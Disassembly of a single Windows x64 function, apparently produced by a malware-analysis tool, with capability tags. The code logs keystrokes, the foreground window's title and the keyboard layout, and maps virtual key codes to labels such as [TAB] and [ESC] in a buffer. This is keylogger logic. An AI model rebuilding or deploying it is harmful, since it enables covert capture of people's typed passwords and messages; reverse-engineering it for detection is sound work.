Function at 0x1400417e9
Capabilities:
Get graphical window text
Get keyboard layout

Disassembly:
jmp 0x14005e8c0
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x688
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x6a8]
mov rax, qword [0x1400f9300]
xor rax, rbp
mov qword [rbp + 0x658], rax
mov byte [rbp + 0x604], 0
lea rcx, [0x140111529]
call fcn.140043e1d
nop
cmp dword [rbp + 0x680], 1
je 0x14005e921
cmp dword [rbp + 0x680], 2
jne 0x14005e928
xor eax, eax
jmp 0x14005f093
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, qword [0x1400fb3c0]
mov qword [rbp + 8], rax
xor eax, eax
mov word [rbp + 0x24], ax
xor edx, edx
mov rax, qword [rbp + 8]
mov ecx, 0x3e8
div rcx
mov word [rbp + 0x24], ax
movzx eax, word [rbp + 0x24]
cmp eax, 0xa
jle 0x14005ea30
movzx eax, word [rbp + 0x24]
cmp eax, 0x3c
jge 0x14005ea30
movzx eax, word [rbp + 0x24]
mov edx, eax
lea rcx, [rbp + 0x388]
call fcn.1400410c3
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x620], rax
mov r8, qword [rbp + 0x620]
lea rdx, [0x1400d35b0]
lea rcx, [rbp + 0x3c8]
call fcn.1400418ed
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
lea r8, [0x1400d3580]
mov rdx, qword [rbp + 0x630]
lea rcx, [rbp + 0x408]
call fcn.140042b44
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x640], rax
mov rdx, qword [rbp + 0x640]
lea rcx, [0x1400fb398]
call fcn.14004385a
nop
lea rcx, [rbp + 0x408]
call fcn.1400436d9
nop
lea rcx, [rbp + 0x3c8]
call fcn.1400436d9
nop
lea rcx, [rbp + 0x388]
call fcn.1400436d9
nop
jmp 0x14005eb05
movzx eax, word [rbp + 0x24]
cmp eax, 0x3c
jle 0x14005eb05
movzx eax, word [rbp + 0x24]
cdq
mov ecx, 0x3c
idiv ecx
mov edx, eax
lea rcx, [rbp + 0x448]
call fcn.1400410c3
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x620], rax
mov r8, qword [rbp + 0x620]
lea rdx, [0x1400d35f0]
lea rcx, [rbp + 0x488]
call fcn.1400418ed
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
lea r8, [0x1400d35c0]
mov rdx, qword [rbp + 0x630]
lea rcx, [rbp + 0x4c8]
call fcn.140042b44
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x640], rax
mov rdx, qword [rbp + 0x640]
lea rcx, [0x1400fb398]
call fcn.14004385a
nop
lea rcx, [rbp + 0x4c8]
call fcn.1400436d9
nop
lea rcx, [rbp + 0x488]
call fcn.1400436d9
nop
lea rcx, [rbp + 0x448]
call fcn.1400436d9
nop
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x14005ecea
mov dword [rbp + 0xa4], 0
lea rdx, [rbp + 0xa4]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rbp + 0x64], eax
mov ecx, dword [rbp + 0x64]
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov byte [rbp + 0x604], 1
mov qword [rbp + 0x88], rax
xor r8d, r8d
mov edx, 0x100
lea rcx, [rbp + 0xc8]
call fcn.1400420b8
nop
lea rcx, [rbp + 0xc8]
call fcn.1400416db
mov qword [rbp + 0x618], rax
xor edx, edx
lea rcx, [rbp + 0xc8]
call fcn.140041465
mov rcx, qword [rbp + 0x618]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0
je 0x14005ecdd
lea rdx, [0x1400fb3c8]
lea rcx, [rbp + 0xc8]
call fcn.140043f30
movzx eax, al
test eax, eax
je 0x14005ecdd
mov edx, dword [rbp + 0xa4]
lea rcx, [rbp + 0x508]
call fcn.1400413c0
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x620], rax
mov r8, qword [rbp + 0x620]
lea rdx, [0x1400d3618]
lea rcx, [rbp + 0x548]
call fcn.1400418ed
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
lea r8, [0x1400d3608]
mov rdx, qword [rbp + 0x630]
lea rcx, [rbp + 0x588]
call fcn.140042b44
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x640], rax
lea r8, [rbp + 0xc8]
mov rdx, qword [rbp + 0x640]
lea rcx, [rbp + 0x5c8]
call fcn.140044110
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0x650], rax
mov rdx, qword [rbp + 0x650]
lea rcx, [0x1400fb398]
call fcn.14004385a
nop
lea rcx, [rbp + 0x5c8]
call fcn.1400436d9
nop
lea rcx, [rbp + 0x588]
call fcn.1400436d9
nop
lea rcx, [rbp + 0x548]
call fcn.1400436d9
nop
lea rcx, [rbp + 0x508]
call fcn.1400436d9
nop
lea rdx, [rbp + 0xc8]
lea rcx, [0x1400fb3c8]
call fcn.1400439f4
nop
lea rcx, [rbp + 0xc8]
call fcn.1400436d9
nop
cmp byte [rbp + 0x604], 0
jne 0x14005ed00
lea rcx, str.keyboardLayout
call fcn.140041695
nop
mov rcx, qword [rbp + 0x88]
call fcn.140042ad1
mov byte [rbp + 0x124], al
movzx eax, byte [0x1400f9008]
test eax, eax
je 0x14005ed41
mov edx, dword [rbp + 0x680]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140041181]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
cmp dword [rbp + 0x680], 8
jne 0x14005ed63
lea rdx, [0x1400d3628]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0xd
jne 0x14005ed85
lea rdx, [0x1400d3638]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x20
jne 0x14005eda7
lea rdx, [0x1400d3648]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 9
jne 0x14005edc9
lea rdx, str._TAB_
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x10
je 0x14005edea
cmp dword [rbp + 0x680], 0xa0
je 0x14005edea
cmp dword [rbp + 0x680], 0xa1
jne 0x14005ee03
lea rdx, [0x1400d3660]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x11
je 0x14005ee24
cmp dword [rbp + 0x680], 0xa2
je 0x14005ee24
cmp dword [rbp + 0x680], 0xa3
jne 0x14005ee3d
lea rdx, [0x1400d3670]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x1b
jne 0x14005ee5f
lea rdx, str._ESC_
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x12
je 0x14005ee80
cmp dword [rbp + 0x680], 0xa5
je 0x14005ee80
cmp dword [rbp + 0x680], 0xa4
jne 0x14005ee99
lea rdx, [0x1400d3690]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x23
jne 0x14005eebb
lea rdx, str._END_
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x24
jne 0x14005eedd
lea rdx, str._HOME_
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x25
jne 0x14005eeff
lea rdx, [0x1400d36c0]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x27
jne 0x14005ef21
lea rdx, [0x1400d36d0]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x26
jne 0x14005ef43
lea rdx, [0x1400d36e0]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x28
jne 0x14005ef65
lea rdx, [0x1400d36f0]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0xbe
jne 0x14005ef7c
movzx eax, byte [rbp + 0x124]
test eax, eax
je 0x14005ef90
cmp dword [rbp + 0x680], 0x6e
jne 0x14005efa9
movzx eax, byte [rbp + 0x124]
test eax, eax
jne 0x14005efa9
lea rdx, [0x1400d36fc]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0xbd
je 0x14005efbe
cmp dword [rbp + 0x680], 0x6d
jne 0x14005efd7
lea rdx, [0x1400d3700]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
cmp dword [rbp + 0x680], 0x14
jne 0x14005eff9
lea rdx, [0x1400d3708]
lea rcx, [0x1400fb398]
call fcn.1400426d5
nop
jmp 0x14005f084
movzx eax, byte [0x1400f9008]
test eax, eax
je 0x14005f04c
cmp byte [rbp + 0x604], 0
jne 0x14005f01a
lea rcx, str.keyboardLayout
call fcn.140041695
nop
mov rdx, qword [rbp + 0x88]
mov ecx, dword [rbp + 0x680]
call fcn.140042a45
movzx edx, ax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140042144
lea rdx, [0x1400425b3]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
cmp byte [rbp + 0x604], 0
jne 0x14005f062
lea rcx, str.keyboardLayout
call fcn.140041695
nop
mov rdx, qword [rbp + 0x88]
mov ecx, dword [rbp + 0x680]
call fcn.140042a45
movzx edx, ax
lea rcx, [0x1400fb398]
call fcn.1400431cf
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [0x1400fb3c0], rax
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400435df
mov rax, rdi
mov rcx, qword [rbp + 0x658]
xor rcx, rbp
call fcn.140042581
lea rsp, [rbp + 0x668]
pop rdi
pop rbp
ret